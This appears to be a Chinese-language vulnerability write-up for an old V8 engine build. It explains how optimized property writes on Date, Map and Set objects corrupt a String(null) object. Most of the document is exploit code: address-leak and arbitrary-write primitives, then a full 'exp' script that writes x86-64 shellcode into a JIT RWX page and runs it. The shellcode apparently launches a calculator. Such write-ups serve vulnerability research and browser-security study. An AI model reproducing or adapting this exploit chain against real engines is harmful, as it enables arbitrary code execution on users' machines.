git reset --hard a7a350012c05f644f3f373fb48d7ac72f7f60542 gclient sync tools/dev/v8gen.py x64.release
编辑 out.gn/x64.release/args.gn
v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true v8_enable_verify_heap = true
ninja -C out.gn/x64.release d8
前置知识
strings对象结构
var str = new String("aaaaaaaaaaaaaaa");
var str2 = new String("aaaaaaaaaaaaaaa");
var str3 = new String("bbbbbbbbbbbbbb");
var str4 = new String(null);
%DebugPrint(str);
%DebugPrint(str2);
%DebugPrint(str3);
%DebugPrint(str4);
%SystemBreak();
DebugPrint: 0x38c55b08a101: [JSValue]
- map = 0x1de3f6a06981 [FastProperties]
- prototype = 0x1f93634178c1
- elements = 0x1fba3602241 [FAST_STRING_WRAPPER_ELEMENTS]
- value = 0x1f936342aff9
- properties = {
#length: 0x1fba3656379 (accessor constant)
}
DebugPrint: 0x38c55b08a121: [JSValue]
- map = 0x1de3f6a06981 [FastProperties]
- prototype = 0x1f93634178c1
- elements = 0x1fba3602241 [FAST_STRING_WRAPPER_ELEMENTS]
- value = 0x1f936342aff9
- properties = {
#length: 0x1fba3656379 (accessor constant)
}
DebugPrint: 0x38c55b08a141: [JSValue]
- map = 0x1de3f6a06981 [FastProperties]
- prototype = 0x1f93634178c1
- elements = 0x1fba3602241 [FAST_STRING_WRAPPER_ELEMENTS]
- value = 0x1f936342b061
- properties = {
#length: 0x1fba3656379 (accessor constant)
}
DebugPrint: 0x38c55b08a161: [JSValue]
- map = 0x1de3f6a06981 [FastProperties]
- prototype = 0x1f93634178c1
- elements = 0x1fba3602241 [FAST_STRING_WRAPPER_ELEMENTS]
- value = 0x1fba3602251
- properties = {
#length: 0x1fba3656379 (accessor constant)
}
可以看到虽然str1和str2虽然不是同一个地址,但是他们的value指向的却是同一个地址,即0x1f936342aff9,我们查看一下value地址的结构
分别对应
struct Value {
Map *map;
uint32_t hash;
uint64_t padding;
uint32_t length;
char content[length];
}
对于String对象,可以使用[]操作符进行字符串中字符的访问,但是不能进行修改。对于String(null)
,其value
指向的是一个null的对象,其Value
结构中,length字段为0x4
,content
字段为0xdeadbeed6c6c756e
。
charCodeAt() 方法
定义和用法
charCodeAt() 方法可返回指定位置的字符的 Unicode 编码。这个返回值是 0 - 65535 之间的整数。
方法 charCodeAt() 与 charAt() 方法执行的操作相似,只不过前者返回的是位于指定位置的字符的编码,而后者返回的是字符子串。
语法
stringObject.charCodeAt(index)
poc
var a;
function func_a() {
a = new Date();
}
function func_a_set() {
a.x = 0x123456;
}
for (var i=0;i<10000;i++) {
func_a();
}
for (var i=0;i<10000;i++) {
func_a_set();
}
var str = new String(null);
func_a();
func_a_set();
%DebugPrint(str);
%SystemBreak();
可以看到str对象value那里显示了
!!!INVALID MAP!!!
我们可以看到此时的map位置已经被覆盖成了0x123456xxxx所以value的值不能正确显示。这样便造成了溢出的问题,可以控制整个strings(null)对象的结构体。这样就可以进行任意地址读写。
addressOf
我们只需要将content处的值覆盖为我们想要泄露的地址,然后通过charCodeAt便可以泄露出地址
arb_write
我们可以先new出三个不同的对象,保证这三个值为空,这样他们的elements
和value
都指向同一片区域即string(null),然后我们通过第一个对象溢出修改strings(null)对象的content为strings(null)的地址,然后通过第二个对象溢出像content里面写double这样便会像string(null)+0x8的地方即hash处写一个值,然后通过第三个对象向hash写double,这样便会像第二个对象写的值里面写内容,这样便做到了任意地址写
addrof && arb_write poc
var buf = new ArrayBuffer(0x10);
var float = new Float64Array(buf);
var int = new Uint32Array(buf);
function f2i(addr){
float[0] = addr;
let tmp = Array.from(int);
return tmp[0] + tmp[1]*0x100000000;
}
function i2f(addr){
let tmp = [];
tmp[0] = parseInt(addr % 0x100000000);//转化为10进制
tmp[1] = parseInt((addr - tmp[0]) / 0x100000000);
int.set(tmp)
return float[0];
}
function hex(addr){
return addr.toString(16);
}
//申请三个对象
var a;
var b;
var c;
function func_a(){
a = new Date();
}
function func_b(){
b = new Map();
}
function func_c(){
c = new Set();
}
function func_a_set(addr){
a.x = 3.4766863919152113e-308;//原来对象的map值,需保证其完好
a.y = 0;//hash
a.z = 0x8;
a.m = addr;
}
function func_b_set(addr){
b.x = 3.4766863919152113e-308;
b.y = 0;//hash
b.z = 0x8;
b.m = addr;
}
function func_c_set(addr){
c.x = 3.4766863919152113e-308;
c.y = addr;//hash
}
//触发Crankshaft优化使流程走向漏洞点处
for(var i = 0;i<10000;i++){
func_a();
func_b();
func_c();
}
for(var i = 0;i<10000;i++){
func_a_set({});//需要保证其内容为一个对象的地址,否则会导致后面写入失败
func_b_set(1.1);//同理因为要写入的是double值,因此需要保证为double
func_c_set(1.1);//同理因为要写入的是double值,因此需要保证为double
}
var str = new String(null);
//构造两个原语
function addrof(addr){
func_a();
func_a_set((addr));
var returnAddr = 0;
for(var i = 0;i<0x8;i++){
returnAddr += (str.charCodeAt(i) * Math.pow(0x100,i));//泄露地址
}
return returnAddr - 0x1;
}
function writeAnywhere(addr,content){
func_a();
func_a_set(String(null));
func_b();
func_b_set(i2f(addr + 0x1));
func_c();
func_c_set(i2f(content));
}
构造出两个原语之后便可以通过写jit的rwx段为shellcode,然后调用jit方法便可以进入我们的shellcode
exp
var buf = new ArrayBuffer(0x10);
var float = new Float64Array(buf);
var int = new Uint32Array(buf);
function f2i(addr){
float[0] = addr;
let tmp = Array.from(int);
return tmp[0] + tmp[1]*0x100000000;
}
function i2f(addr){
let tmp = [];
tmp[0] = parseInt(addr % 0x100000000);
tmp[1] = parseInt((addr - tmp[0]) / 0x100000000);
int.set(tmp)
return float[0];
}
function hex(addr){
return addr.toString(16);
}
var a;
var b;
var c;
function func_a(){
a = new Date();
}
function func_b(){
b = new Map();
}
function func_c(){
c = new Set();
}
function func_a_set(addr){
a.x = 3.4766863919152113e-308;
a.y = 0;//hash
a.z = 0x8;
a.m = addr;
}
function func_b_set(addr){
b.x = 3.4766863919152113e-308;
b.y = 0;//hash
b.z = 0x8;
b.m = addr;
}
function func_c_set(addr){
c.x = 3.4766863919152113e-308;
c.y = addr;//hash
}
for(var i = 0;i<10000;i++){
func_a();
func_b();
func_c();
}
for(var i = 0;i<10000;i++){
func_a_set({});
func_b_set(1.1);
func_c_set(1.1);
}
var str = new String(null);
function addrof(addr){
func_a();
func_a_set((addr));
var returnAddr = 0;
for(var i = 0;i<0x8;i++){
returnAddr += (str.charCodeAt(i) * Math.pow(0x100,i));
}
return returnAddr - 0x1;
}
function writeAnywhere(addr,content){
func_a();
func_a_set(String(null));
func_b();
func_b_set(i2f(addr + 0x1));
func_c();
func_c_set(i2f(content));
}
var obj = new ArrayBuffer(0x233);
print("[+] obj_addr:0x"+hex(addrof(obj)));
var obj_addr = addrof(obj);
var backing_store = obj_addr + 0x18;
print("[+] backing_store = 0x" + hex(backing_store));
var jit = new Function("var a = 0x1234");
var jit_addr = addrof(jit);
print("[+] jit_addr = 0x" + hex(jit_addr));
var obj_dataview = new DataView(obj);
function read_dataview(addr){
writeAnywhere(backing_store,addr);
return f2i(obj_dataview.getFloat64(0,true));
}
function write_dataview(addr,payload){
writeAnywhere(backing_store,addr);
for(var i = 0;i < payload.length;i++){
obj_dataview.setUint8(i,payload[i],true);
}
}
var rwx_addr = read_dataview(jit_addr + 0x38);
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
print("[+] rwx_addr:0x"+hex(rwx_addr));
write_dataview(rwx_addr,shellcode);
jit();
//%DebugPrint(obj);
//%SystemBreak();